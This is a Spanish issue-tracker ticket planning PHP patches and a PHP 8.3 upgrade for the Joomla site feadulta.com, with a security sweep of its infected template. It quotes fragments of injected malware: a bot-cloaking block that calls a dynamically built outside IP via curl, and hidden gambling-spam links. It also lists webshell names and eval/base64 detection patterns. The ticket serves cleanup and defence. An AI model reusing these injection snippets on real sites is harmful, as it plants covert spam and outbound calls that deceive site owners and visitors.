Aplicar parches PHP 8.3 en feadulta.com producción y subir PHP del hosting #63

Closed
opened 2026-06-28 19:13:57 +00:00 by rafa · 0 comments
Owner

Labels: area:infra, area:joomla, bug:critical, security

Objetivo

Aplicar en feadulta.com (Joomla producción) los parches PHP 8.3-compatibles validados en local (issue #35) y subir la versión PHP del hosting de 7.4 a 8.3, manteniendo continuidad del sitio hasta el cutover DNS a WordPress.

Estrategia: dos pasos

Paso 1. Subir los 5 parches PHP 8.3-compatibles a producción manteniendo PHP 7.4. Verificar que el sitio sigue funcionando en 7.4. Esto aísla el cambio de código del cambio de runtime: si algo rompe en 7.4, sabemos que es el código; si rompe al subir PHP, es el runtime.

Paso 2. Cambiar PHP del hosting a 8.3 desde cPanel. Verificar checklist post-upgrade. Rollback inmediato a 7.4 si algo rompe.

Pre-requisitos (ya hechos en #35)

  • Backup verificado de /web: backup/prod-20260525-php83-compat/feadulta-web-20260525.tar.gz (~11G)
  • Backup verificado de BD fejoomla3: backup/prod-20260525-php83-compat/fejoomla3-20260525.sql.gz (~64M)
  • Réplica local PHP 8.3 funcionando con datos reales de prod (joomla-php83/, BD joomla_prod)
  • 5 parches PHP 8.3 validados en la réplica

Parches a aplicar (Paso 1)

  1. modules/mod_featcats/helper.php — inicializar stdClass antes de asignar col_class
  2. templates/fe_adulta_1/functions.php — añadir __construct() en ArtxPageView, ArtxPage15, ArtxPage16, ArtxContent* (manteniendo métodos antiguos)
  3. templates/fe_adulta_1/index.php — limpieza de inyecciones de seguridad (ver sección abajo)
  4. modules/mod_k2_filter/helper.php — métodos a public static, guards en extractExtraFields()
  5. modules/mod_k2_filter/tmpl/Default/template.php — guard is_array() antes de count()

Diff exacto de cada parche en la réplica joomla-php83/.

Hallazgos de seguridad — barrido en curso

2026-05-25 — barrido inicial

Comparando joomla-php83/ (réplica restaurada de producción real) contra patrones de malware conocidos.

Confirmado infectado: templates/fe_adulta_1/index.php

Producción tiene MÁS inyecciones de las que se vieron al cerrar #35. La copia local antigua que usamos como referencia en #35 estaba menos infectada que la actual de prod. Inyecciones reales en producción:

  1. Bloque final con cloaking SEO al servir Google/Bing/Yahoo bots (ya conocido del #35):

    $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);
    ...
    curl_setopt($ch, CURLOPT_URL, "http://$zz.1.$zn.7$nn/logs3/?useragent=...");
    

    Hace petición a IP construida dinámicamente (3.1.zn.7nn) según user-agent del bot.

  2. Link oculto a apuestadeportiva24.pe en /es/ (URI exacto /es/):

    if($_SERVER['REQUEST_URI']=='/es/'){ echo '<a href="https://apuestadeportiva24.pe/" style="opacity: 0.01; position: absolute; z-index: 66666;">apuestas deportivas</a>';}
    
  3. Link oculto a apuestadeportiva24.co (siempre en header).

  4. Link oculto a vavada.mobi/ (URI /es/, posicionado fuera de pantalla a -7292px).

  5. Link oculto a apuestadeportiva24.pe/betsafe/ en /es/buscadoravanzado/itemlist/user/43-fraymarcos.html.

  6. Link oculto a apuestadeportiva24.pe/betcris/ en /es/otroscantos/1323-renuevame-senor-jesus-marcos-witt.html.

  7. Link oculto a apuestadeportiva24.pe/inkabet/ en /es/comentcol2.html.

  8. BOM (Byte-Order-Mark UTF-8) al inicio del fichero — indicador típico de fichero modificado por editor desconocido.

Todos estos cumplen patrón de SEO spam: links a casinos/apuestas insertados en URLs concretas con CSS oculto (opacity:0.01, position:absolute, left:-7292px).

Resto del árbol — NO infectado (de momento)

Barrido en joomla-php83/ con patrones:

  • Dominios spam (apuestadeportiva24, vavada.mobi, inkabet, betcris, betsafe, 1xbet, pokerstars, casino-bonus) → solo en templates/fe_adulta_1/index.php.
  • Cloaking por HTTP_USER_AGENT cruzado con google/bing/yahoo → solo en ese fichero.
  • eval(base64_decode|gzinflate|str_rot13|gzuncompress) → 0 hits.
  • preg_replace(/e modifier) → 0 hits.
  • Webshells por nombre (c99, r57, wso, b374k, filesman, backdoor) → 0 hits reales (shell.php de Text/Diff y imagick_ext_hack.php son librerías legítimas).
  • Extensiones sospechosas (.phtml, .php5, .php7, .pht, .phar) → 0 hits.
  • file_get_contents/curl_exec con superglobals → 0 hits.
  • eval($_GET/$_POST/$_REQUEST) → 0 hits.
  • Strings base64 largas (>300 chars) en .php fuera de librerías → 0 hits.
  • Cloaking visual (opacity:0.0X + position:absolute) → solo en ese fichero.
  • Condicionales REQUEST_URI == '/...' → solo en ese fichero.

BD fejoomla3 (réplica joomla_prod) — NO infectada

Búsquedas con LIKE '%apuestadeportiva%', '%vavada%', '%inkabet%', '%botbotbot%' en:

  • ew4r_modules.content: 0 hits
  • ew4r_k2_items.introtext/.fulltext: 0 hits
  • ew4r_content.introtext/.fulltext: 0 hits
  • ew4r_template_styles.params: 0 hits
  • ew4r_extensions.params: 0 hits

El malware vive solo en filesystem, no en BD.

Tareas pendientes del barrido

  • Comparar hashes MD5 de todos los .php entre joomla/ (baseline limpia) y joomla-php83/ (réplica prod) — detectar cualquier fichero modificado fuera de los parches PHP 8.3 conocidos.
  • Verificar PrestaShop en /libreria/ por si tiene inyecciones propias.
  • Verificar bfnetwork (plugin legítimo de mySites.guru, pero da acceso remoto) — confirmar que no está abusado.
  • Buscar webshells por contenido típico: c99shell, r57shell, formularios de upload arbitrarios.
  • Revisar logs del hosting si Rafa puede sacarlos.

Limpieza del template para producción (Paso 1)

El templates/fe_adulta_1/index.php que se sube a producción debe llevar:

  • TODAS las inyecciones SEO eliminadas (los 7 puntos arriba), no solo el bloque botbotbot del #35.
  • Sin BOM al inicio.
  • Solo el código original Joomla/Artisteer.

Checklist Paso 1 (parches en PHP 7.4)

  • Tomar backup adicional /web justo antes (rápido, tar de carpetas afectadas).
  • Subir vía SSH/SFTP los 5 ficheros parcheados.
  • Verificar inmediatamente:
    • Portada https://feadulta.com/ HTTP 200.
    • https://feadulta.com/es/ HTTP 200 sin enlaces spam visibles ni ocultos en código (curl + grep apuestadeportiva → 0).
    • https://feadulta.com/es/buscadoravanzado/itemlist/ HTTP 200.
    • Artículo K2 al azar HTTP 200.
    • Carta de la semana actual HTTP 200.
  • Si algo rompe: restaurar los 5 ficheros del backup inmediatamente.

Checklist Paso 2 (subir PHP a 8.3)

  • Confirmar en cPanel que se puede seleccionar PHP 8.3.
  • Confirmar extensiones PHP necesarias presentes en 8.3 del hosting: mysqli, curl, gd, mbstring, xml, zip, intl, openssl.
  • Cambiar PHP a 8.3 desde el selector de cPanel.
  • Verificar https://feadulta.com/ HTTP 200.
  • Recorrer mismas rutas del Paso 1.
  • Si algo rompe: volver a PHP 7.4 desde cPanel (rollback inmediato sin tocar ficheros).

Rollback

  • Si parches rompen en 7.4: restaurar ficheros desde backup pre-cambio.
  • Si PHP 8.3 rompe: cambiar a 7.4 en cPanel (rollback puro de runtime, sin tocar nada más).
  • Catástrofe: restaurar tar completo /web + dump fejoomla3 desde backup/prod-20260525-php83-compat/.

Criterio de terminado

  • feadulta.com sirve correctamente sobre PHP 8.3 con los 5 parches aplicados.
  • Smoke test post-upgrade pasado.
  • curl https://feadulta.com/es/ | grep apuestadeportiva → 0 hits (limpieza de seguridad confirmada).
  • Backup pre-cambio guardado.
**Labels:** area:infra, area:joomla, bug:critical, security ## Objetivo Aplicar en `feadulta.com` (Joomla producción) los parches PHP 8.3-compatibles validados en local (issue #35) y subir la versión PHP del hosting de 7.4 a 8.3, manteniendo continuidad del sitio hasta el cutover DNS a WordPress. ## Estrategia: dos pasos **Paso 1.** Subir los 5 parches PHP 8.3-compatibles a producción manteniendo PHP 7.4. Verificar que el sitio sigue funcionando en 7.4. Esto aísla el cambio de código del cambio de runtime: si algo rompe en 7.4, sabemos que es el código; si rompe al subir PHP, es el runtime. **Paso 2.** Cambiar PHP del hosting a 8.3 desde cPanel. Verificar checklist post-upgrade. Rollback inmediato a 7.4 si algo rompe. ## Pre-requisitos (ya hechos en #35) - Backup verificado de `/web`: `backup/prod-20260525-php83-compat/feadulta-web-20260525.tar.gz` (~11G) - Backup verificado de BD `fejoomla3`: `backup/prod-20260525-php83-compat/fejoomla3-20260525.sql.gz` (~64M) - Réplica local PHP 8.3 funcionando con datos reales de prod (`joomla-php83/`, BD `joomla_prod`) - 5 parches PHP 8.3 validados en la réplica ## Parches a aplicar (Paso 1) 1. `modules/mod_featcats/helper.php` — inicializar `stdClass` antes de asignar `col_class` 2. `templates/fe_adulta_1/functions.php` — añadir `__construct()` en `ArtxPageView`, `ArtxPage15`, `ArtxPage16`, `ArtxContent*` (manteniendo métodos antiguos) 3. `templates/fe_adulta_1/index.php` — limpieza de inyecciones de seguridad (ver sección abajo) 4. `modules/mod_k2_filter/helper.php` — métodos a `public static`, guards en `extractExtraFields()` 5. `modules/mod_k2_filter/tmpl/Default/template.php` — guard `is_array()` antes de `count()` Diff exacto de cada parche en la réplica `joomla-php83/`. ## Hallazgos de seguridad — barrido en curso ### 2026-05-25 — barrido inicial Comparando `joomla-php83/` (réplica restaurada de producción real) contra patrones de malware conocidos. **Confirmado infectado:** `templates/fe_adulta_1/index.php` Producción tiene MÁS inyecciones de las que se vieron al cerrar #35. La copia local antigua que usamos como referencia en #35 estaba menos infectada que la actual de prod. Inyecciones reales en producción: 1. **Bloque final con cloaking SEO al servir Google/Bing/Yahoo bots** (ya conocido del #35): ```php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]); ... curl_setopt($ch, CURLOPT_URL, "http://$zz.1.$zn.7$nn/logs3/?useragent=..."); ``` Hace petición a IP construida dinámicamente (3.1.zn.7nn) según user-agent del bot. 2. **Link oculto a `apuestadeportiva24.pe` en `/es/`** (URI exacto `/es/`): ```php if($_SERVER['REQUEST_URI']=='/es/'){ echo '<a href="https://apuestadeportiva24.pe/" style="opacity: 0.01; position: absolute; z-index: 66666;">apuestas deportivas</a>';} ``` 3. **Link oculto a `apuestadeportiva24.co`** (siempre en header). 4. **Link oculto a `vavada.mobi/`** (URI `/es/`, posicionado fuera de pantalla a `-7292px`). 5. **Link oculto a `apuestadeportiva24.pe/betsafe/`** en `/es/buscadoravanzado/itemlist/user/43-fraymarcos.html`. 6. **Link oculto a `apuestadeportiva24.pe/betcris/`** en `/es/otroscantos/1323-renuevame-senor-jesus-marcos-witt.html`. 7. **Link oculto a `apuestadeportiva24.pe/inkabet/`** en `/es/comentcol2.html`. 8. **BOM (Byte-Order-Mark UTF-8)** al inicio del fichero — indicador típico de fichero modificado por editor desconocido. Todos estos cumplen patrón de SEO spam: links a casinos/apuestas insertados en URLs concretas con CSS oculto (`opacity:0.01`, `position:absolute`, `left:-7292px`). ### Resto del árbol — NO infectado (de momento) Barrido en `joomla-php83/` con patrones: - Dominios spam (`apuestadeportiva24`, `vavada.mobi`, `inkabet`, `betcris`, `betsafe`, `1xbet`, `pokerstars`, `casino-bonus`) → solo en `templates/fe_adulta_1/index.php`. - Cloaking por `HTTP_USER_AGENT` cruzado con `google/bing/yahoo` → solo en ese fichero. - `eval(base64_decode|gzinflate|str_rot13|gzuncompress)` → 0 hits. - `preg_replace(/e modifier)` → 0 hits. - Webshells por nombre (c99, r57, wso, b374k, filesman, backdoor) → 0 hits reales (`shell.php` de Text/Diff y `imagick_ext_hack.php` son librerías legítimas). - Extensiones sospechosas (.phtml, .php5, .php7, .pht, .phar) → 0 hits. - `file_get_contents/curl_exec` con superglobals → 0 hits. - `eval($_GET/$_POST/$_REQUEST)` → 0 hits. - Strings base64 largas (>300 chars) en .php fuera de librerías → 0 hits. - Cloaking visual (`opacity:0.0X` + `position:absolute`) → solo en ese fichero. - Condicionales `REQUEST_URI == '/...'` → solo en ese fichero. ### BD `fejoomla3` (réplica `joomla_prod`) — NO infectada Búsquedas con `LIKE '%apuestadeportiva%'`, `'%vavada%'`, `'%inkabet%'`, `'%botbotbot%'` en: - `ew4r_modules.content`: 0 hits - `ew4r_k2_items.introtext`/`.fulltext`: 0 hits - `ew4r_content.introtext`/`.fulltext`: 0 hits - `ew4r_template_styles.params`: 0 hits - `ew4r_extensions.params`: 0 hits El malware vive solo en filesystem, no en BD. ## Tareas pendientes del barrido - [ ] Comparar hashes MD5 de todos los .php entre `joomla/` (baseline limpia) y `joomla-php83/` (réplica prod) — detectar cualquier fichero modificado fuera de los parches PHP 8.3 conocidos. - [ ] Verificar PrestaShop en `/libreria/` por si tiene inyecciones propias. - [ ] Verificar bfnetwork (plugin legítimo de mySites.guru, pero da acceso remoto) — confirmar que no está abusado. - [ ] Buscar webshells por contenido típico: `c99shell`, `r57shell`, formularios de upload arbitrarios. - [ ] Revisar logs del hosting si Rafa puede sacarlos. ## Limpieza del template para producción (Paso 1) El `templates/fe_adulta_1/index.php` que se sube a producción debe llevar: - TODAS las inyecciones SEO eliminadas (los 7 puntos arriba), no solo el bloque botbotbot del #35. - Sin BOM al inicio. - Solo el código original Joomla/Artisteer. ## Checklist Paso 1 (parches en PHP 7.4) - [ ] Tomar backup adicional `/web` justo antes (rápido, tar de carpetas afectadas). - [ ] Subir vía SSH/SFTP los 5 ficheros parcheados. - [ ] Verificar inmediatamente: - [ ] Portada `https://feadulta.com/` HTTP 200. - [ ] `https://feadulta.com/es/` HTTP 200 sin enlaces spam visibles ni ocultos en código (`curl + grep apuestadeportiva` → 0). - [ ] `https://feadulta.com/es/buscadoravanzado/itemlist/` HTTP 200. - [ ] Artículo K2 al azar HTTP 200. - [ ] Carta de la semana actual HTTP 200. - [ ] Si algo rompe: restaurar los 5 ficheros del backup inmediatamente. ## Checklist Paso 2 (subir PHP a 8.3) - [ ] Confirmar en cPanel que se puede seleccionar PHP 8.3. - [ ] Confirmar extensiones PHP necesarias presentes en 8.3 del hosting: `mysqli`, `curl`, `gd`, `mbstring`, `xml`, `zip`, `intl`, `openssl`. - [ ] Cambiar PHP a 8.3 desde el selector de cPanel. - [ ] Verificar `https://feadulta.com/` HTTP 200. - [ ] Recorrer mismas rutas del Paso 1. - [ ] Si algo rompe: volver a PHP 7.4 desde cPanel (rollback inmediato sin tocar ficheros). ## Rollback - **Si parches rompen en 7.4:** restaurar ficheros desde backup pre-cambio. - **Si PHP 8.3 rompe:** cambiar a 7.4 en cPanel (rollback puro de runtime, sin tocar nada más). - **Catástrofe:** restaurar tar completo `/web` + dump `fejoomla3` desde `backup/prod-20260525-php83-compat/`. ## Criterio de terminado - feadulta.com sirve correctamente sobre PHP 8.3 con los 5 parches aplicados. - Smoke test post-upgrade pasado. - `curl https://feadulta.com/es/ | grep apuestadeportiva` → 0 hits (limpieza de seguridad confirmada). - Backup pre-cambio guardado.
rafa closed this issue 2026-06-28 19:13:57 +00:00
Sign in to join this conversation.
No Label
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: rafa/feadulta#63